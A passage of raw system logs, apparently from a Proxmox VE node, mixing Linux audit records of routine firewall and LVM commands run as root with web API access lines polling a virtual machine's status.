auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415767,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.767:60923): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965228760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 901"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.483:61159): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.967:64378): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025680,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.680:68124): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965769227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.227:67027): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64374 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.148:68144): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415764,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.764:60922): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965228760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964469483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.483:61158): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.957:64376): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025674,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.674:68123): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965769219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965769.219:67024): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64373 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966030.143:68141): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415763,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.763:60921): argc=1 a0=\"date\""} {"@timestamp":1781965228760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.469:61156): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.957:64375): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025668,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.668:68122): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965765390,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.390:67021): arch=c000003e syscall=59 success=yes exit=0 a0=569695076d70 a1=569695082b30 a2=569695050680 a3=5 items=2 ppid=64366 pid=64372 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966026034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966026.034:68138): arch=c000003e syscall=59 success=yes exit=0 a0=61301a5922b0 a1=61301a924b80 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65436 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvenode\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415758,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.758:60919): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965227720,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964469469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964469.469:61155): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.073:64371): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4f9829c0 a1=61cec1c10310 a2=61cec1c09680 a3=5 items=1 ppid=61846 pid=61847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025661,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.661:68121): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965765388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.388:67020): arch=c000003e syscall=59 success=yes exit=0 a0=5696900a0ac8 a1=7ffe64aa4710 a2=569695050680 a3=56969008424e items=2 ppid=64366 pid=64368 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025746,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.746:68137): arch=c000003e syscall=59 success=yes exit=0 a0=570fec4500a0 a1=570fec44ce20 a2=570fec42e680 a3=5 items=2 ppid=65429 pid=65435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415752,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.752:60918): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965226692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964465534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.534:61151): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd2ab3e4d0 a1=5b9a90498310 a2=5b9a90491680 a3=5 items=1 ppid=58707 pid=58708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965145939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965145.939:64353): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc68b58000 a1=641ebd57cd50 a2=641ebd55f680 a3=5 items=1 ppid=61827 pid=61828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025652,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.652:68120): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965765387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.387:67019): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe64aa46d0 a1=569695072410 a2=569695050680 a3=5 items=2 ppid=64366 pid=64367 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.743:68136): arch=c000003e syscall=59 success=yes exit=0 a0=570fd7d7dac8 a1=7fffbafabca0 a2=570fec42e680 a3=570fd7d6124e items=2 ppid=65429 pid=65431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415745,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.745:60917): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965226692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964465445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.445:61133): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd692e5e60 a1=5ef71d2e9310 a2=5ef71d2e2680 a3=5 items=1 ppid=58688 pid=58689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965141947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.947:64343): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025648,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.648:68119): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965765382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.382:67017): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.742:68135): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbafabc60 a1=570fec435310 a2=570fec42e680 a3=5 items=2 ppid=65429 pid=65430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.741:60916): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965225668,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.461:61123): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965141947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.947:64342): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61817 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025645,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.645:68118): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.374:67016): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.737:68133): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415734,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.734:60915): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965224468,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.461:61122): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965141939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.939:64340): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025644,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.644:68117): argc=1 a0=\"date\""} {"@timestamp":1781965765368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.368:67015): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.730:68132): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.728:60914): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965224468,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.455:61120): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965141938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965141.938:64339): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025639,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.639:68115): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965765361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.361:67014): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.723:68131): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964414971,"@rawstring":"node=pve type=EXECVE msg=audit(1781964414.971:60913): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965224468,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964464.455:61119): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965136927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.927:64337): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025632,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.632:68114): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965765353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.353:67013): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.715:68130): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964414943,"@rawstring":"node=pve type=EXECVE msg=audit(1781964414.943:60912): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965224468,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.448:61114): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965136927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.927:64336): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61813 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025624,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.624:68113): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965765351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.351:67012): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5567e8c99740 items=0 ppid=1156 pid=64361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966025707,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.707:68129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964414276,"@rawstring":"node=pve type=EXECVE msg=audit(1781964414.276:60911): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965222554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964459.448:61113): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965136915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965136.915:64334): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" 